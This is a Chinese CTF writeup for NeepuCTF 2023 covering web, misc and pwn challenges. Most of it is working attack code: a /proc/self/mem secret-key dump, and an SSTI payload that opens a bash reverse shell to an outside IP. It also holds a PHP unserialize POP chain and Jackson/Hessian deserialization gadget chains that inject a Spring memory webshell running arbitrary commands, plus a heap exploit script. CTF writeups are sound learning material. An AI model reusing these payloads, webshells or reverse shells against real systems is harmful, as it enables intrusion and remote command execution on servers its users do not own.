May 21, 2023

NeepuCTF2023 公开赛 Writeup

个人信息&&排名情况

比赛ID:Boogipop
校外排名:3
QQ:2292797302
image.png
image.png

解题情况

image.pngimage.pngimage.pngimage.pngimage.png

Web

Cute Cirno

image.png
/r3aDF1le路由存在任意文件读取,可以读取出flag
通过cmdline读出文件名
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

from flask import Flask, request, session, render_template, render_template_string
import os, base64
from NeepuFile import neepu_files

CuteCirno = Flask(__name__,
static_url_path='/static',
static_folder='static'
)

CuteCirno.config['SECRET_KEY'] = str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"

@CuteCirno.route('/')
def welcome():
session['admin'] = 0
return render_template('welcome.html')


@CuteCirno.route('/Cirno')
def show():
return render_template('CleverCirno.html')


@CuteCirno.route('/r3aDF1le')
def file_read():
filename = "static/text/" + request.args.get('filename', 'comment.txt')
start = request.args.get('start', "0")
end = request.args.get('end', "0")
return neepu_files(filename, start, end)


@CuteCirno.route('/genius')
def calculate():
if session.get('admin') == 1:
print(session.get('admin'))
answer = request.args.get('answer')
if answer is not None:
blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base',
'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include','request', '{{', '}}', '"', 'config','=']
for i in blacklist:
if i in answer:
answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">"""
break
if answer == '':
return "你能告诉聪明的⑨, 1+1的answer吗"
return render_template_string("1+1={}".format(answer))
else:
return render_template('mathclass.html')

else:
session['admin'] = 0
return "你真的是我的马斯塔吗?"


if __name__ == '__main__':
CuteCirno.run('0.0.0.0', 5000, debug=True)

获取源码,可以发现存在一个session伪造,和一个ssti的点,假如想要ssti首先得获取key伪造session,一眼是算mem的。直接拿脚本跑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import os
import re
import requests
# print(str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*")
# pollution_url="http://localhost:8848/?name=os.path.pardir&m1sery=boogipop"
# flagurl="http://localhost:8848/../../flag"
url="http://neepusec.fun:28733/r3ADF11e"
maps_url = f"{url}?filename=../../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
cookie=''
for m in maps:
print(m)
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16))
read_url = f"{url}?filename=../../../proc/self/mem&start={Offset}&end={Length}"
print(read_url)
s = requests.get(read_url).content
# print(s)
rt = re.findall(b"(.{40})\*NeepuCTF\*", s)
if rt:
print(rt[0])

获取key后就可以进行ssti了,ban掉了一些关键字,导致常规payload可能行不通,这里我的解法是利用session关键字去bypass关键词过滤(session|string)[xxx:xxx],这样可以截取字符串,然后session我们是自定义的
所以最后我们可以
python flask_session_cookie_manager3.py encode -s "sqEYRKMrnPdt0dMBlgcaOYi69mcF1RspjiXHrY9u*NeepuCTF*" -t "{'admin': 1,'__globals__':1,'os':1,'read':1,'popen':1,'bash -c \'bash -i >& /dev/tcp/114.116.119.253/7777 <&1\'':1}"
这是伪造session,然后使用payload
{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}
获取反弹shell
![4PES1@R[`3OJ4~SAYRG3CB.png

Cute Cirno(Renvenge)

解法如上了

ezphp

确实很ez的php,对web题敏感一点的师傅直接就可以发现php版本是7.4.21,刚好这个版本及其一下会存在源码leak的漏洞,我们需要构造一个请求头如下
image.png
可以得到源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class one{
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
public function neepuctf(){
$this->now=0;
return $this->finish->finish;
}
public function __wakeup(){
$this->key=True;
}
}
class two{
private $finish;
public $name;
public function __get($value){

return $this->$value=$this->name[$value];
}

}

class three{
public function __destruct()
{
if($this->neepu->neepuctf()||!$this->neepu1->neepuctf()){
$this->fin->NEEPUCTF($this->rce,$this->rce1);
}

}
}
class four{
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}

}
public function __wakeup(){
$this->key=false;
}
}
class five{
public $finish;
private $name;

public function __get($name)
{
return $this->$name=$this->finish[$name];
}
}

$a=$_POST["neepu"];
if (isset($a)){
unserialize($a);
}

之后就是构造pop了,思路就是__destruct->_call,不太懂出题人搞这么多重复的干嘛。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class one{
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
class two{
private $finish;
public $name;
}

class three{
}
class four{
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}

}
public function __wakeup(){
$this->key=false;
}
}
class five{
public $finish;
}

$a=new four();
$a->rce="cat /flag";
$a->rce1="";
$b=new one();
$b->finish->finish=true;
$a->neepu=$b;
$c=new one();
$c->key=true;
$c->finish->finish=true;
$c->now['NEEPUCTF1']='system';
$a->fin=$c;
echo urlencode(serialize($a));

我的poc如上,直接传参即可得到flag了。
image.png

No Map

考点:jackson反序列化
这道题的话假如出题人不去掉rasp的话我是出不来了,谢谢出题大大的福利呜呜呜呜我太菜了,一定学rasp
源码给了如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo.controller;

import com.example.demo.util.MyObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MainController {
public MainController() {
}

@RequestMapping({"/"})
@ResponseBody
public String status() {
return "Welcome to NEEPUCTF 2023 :D";
}

@RequestMapping({"/nomap"})
@ResponseBody
public String noMap(HttpServletRequest request) {
try {
MyObjectInputStream ois = new MyObjectInputStream(request.getInputStream());
String name = ois.readUTF();
int year = ois.readInt();
if (name.equals("NEEPU") && year == 1949) {
ois.readObject();
}
} catch (Exception var5) {
var5.printStackTrace();
}

return "No map to deserialize XD";
}
}

裸反序列化,然后看看依赖
image.png
没啥特别的东西,所以感觉出题人对java这块很熟悉了,因为这就是最近的aliyun出现的jackson反序列化
和fastjson一样,jackson的pojonode类的toString也可以触发任意的toString
但是这里有个问题,就是出题人把readObject->toString这里ban掉了,也就断开了线索,经过查找,发现有个类符合要求AbstractAction,这是一个抽象类,具体去找实现类皆可,看看他的readObject
image.png
image.png
image.png
会调用equals,这里思路就清晰了,可以用它触发Xstring的equals,那么就可以构造payload,有个小细节就是要重写他的writeArrayTable,否则无法触发。我重写方法如下:
image.png
之后payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassMap;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
// byte[] bytes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\InjectToController.class"));
// String s1 = Base64.getEncoder().encodeToString(bytes);
// System.out.println(s1);
// String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
// //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
// ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
// resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
// resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
// Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
//ClassPool pool = ClassPool.getDefault();
//CtClass ctClass = pool.makeClass("a");
//CtClass superClass = pool.get(AbstractTranslet.class.getName());
//ctClass.setSuperclass(superClass);
//CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}\");");
//constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,Y3VybCBodHRwOi8vMG1xMHdxLmRuc2xvZy5jbg==}|{base64,-d}|{bash,-i}\");");
//constructor.setBody("Runtime.getRuntime().exec(\"curl http://0mq0wq.dnslog.cn\");");
//ctClass.addConstructor(constructor);
//byte[] bytes = ctClass.toBytecode();
//TemplatesImpl templatesImpl = new TemplatesImpl();
//setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
//setFieldValue(templatesImpl, "_name", "boogipop");
//setFieldValue(templatesImpl, "_tfactory", null);
//byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\evil.class"));
byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\InjectToController.class"));
byte[][] codes={code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
XString xString = new XString("111");
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport("11");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("111",1);

Field field = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
field.setAccessible(true);
field.set(alignmentAction,swingPropertyChangeSupport);
alignmentAction.putValue("11",xString);
alignmentAction.putValue("12",jsonNodes);
//deserial(serial(alignmentAction));



ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeUTF("NEEPU");
objectOutputStream.writeInt(1949);
objectOutputStream.writeObject(alignmentAction);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
//System.out.println(serial(exp));
//deserial(serial(map));
//doPOST(exp.toString().getBytes());
byte[] byt=new byte[fileInputStream.available()];
fileInputStream.read(byt);
doPOST(byt);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://neepusec.fun:27010/nomap");
//URI url = new URI("http://localhost:8090/nomap");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeInt(1949);
oos.writeUTF("NEEPU");
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
System.out.println(ois.readInt());
System.out.println(ois.readUTF());
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

public class InjectToController extends AbstractTranslet {

// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/Flag")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

// 第二个构造函数
public InjectToController(String aaa) {}

// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}

}

打入!即可注入内存马
image.png

是不是有Bean

image.png
有hessian有hibernate有jackson,东西挺多的。
我的解法是hessian+tosrring+jackson+memshell
不知道是不是非预期,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package com.example.resinchain;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.naming.ResourceRef;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class ELProcessChain {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Java\\ResinChain\\target\\classes\\com\\example\\resinchain\\InjectToController.class"));
String s1 = Base64.getEncoder().encodeToString(bytes);
String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
//String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

cpe.setResolvedObj(resourceRef);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
POJONode jsonNodes = new POJONode(ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(79);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
//out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonNodes);
//out.flushBuffer();
out.flush();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);

}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
//Neepu{Y0u_REa11Y_Haue_bean_D0Nt_U}
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}

通过el包里的类动态执行代码,然后用到了resin链里的一个dircontenxt的getter去触发el包的eval函数,达到注入内存马的目的,需要注意的是贴合题目的hessian版本,题目的hessian是3.x,我们换成一样的,然后这里异常触发toString,需要手动write一个79进去,调试就可以发现是多少了
最后得到payload打入:
image.png
这里flag没完全的原因是内存马以A分割,所以后面手动筛一下。这里就不筛了,有点累

Misc

倒影

首先拿到附件,象征性的看看hex
image.png
文件尾下面还有东西,是个颠倒的png,反手就是一个binwalk
image.png
手动分离一下。
image.png
结合题目倒影,逆一下数据,得到了如下图片
image.png
虽然看起来是原图,但是盲水印处理一下之后就发现flag了
image.png

重生之我是CTFer

我是觉得挺玄学的,我当时做的时候就是写一个脚本直接跑flag。

1
2
3
4
5
6
7
8
import requests
url="http://neepusec.fun:28240/update"
while True:
r=requests.get(url+"?buttonId=1")
a=r.content.decode("unicode_escape")
# print(a)
if "flag" in a or "Neepu" in a:
print(a)

当时结果中手动筛一下就有了,现在跑半天好像也没看见flag,不知道是什么原因,复现出问题了,可能我这是非预期,看脸吧,但确实是这么出的。他flag会出现在回答里

Pwn

Chall1

老套路了 用一个副chunk来索引 释放两个chunk 申请一个0x10的chunk即可劫持副chunk 从而任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
io = remote("neepusec.fun",28282)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("/tmp/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
context.arch = "amd64"
context.log_level = "debug"
def add(size,content):
io.recvuntil("Leave me your choice > ")
io.sendline(b'1')
io.recvuntil("Enter Size > ")
io.sendline(str(size))
io.recvuntil("Enter Context > ")
io.send(content)
def delete(index):
io.recvuntil("Leave me your choice > ")
io.sendline(b'2')
io.recvuntil("Enter idx > ")
io.sendline(str(index))
def show(index):
io.recvuntil("Leave me your choice > ")
io.sendline(b'3')
io.recvuntil("Enter idx > ")
io.sendline(str(index))
def edit(index,content):
io.recvuntil("Leave me your choice > ")
io.sendline(b'114514')
io.recvuntil("Enter idx > ")
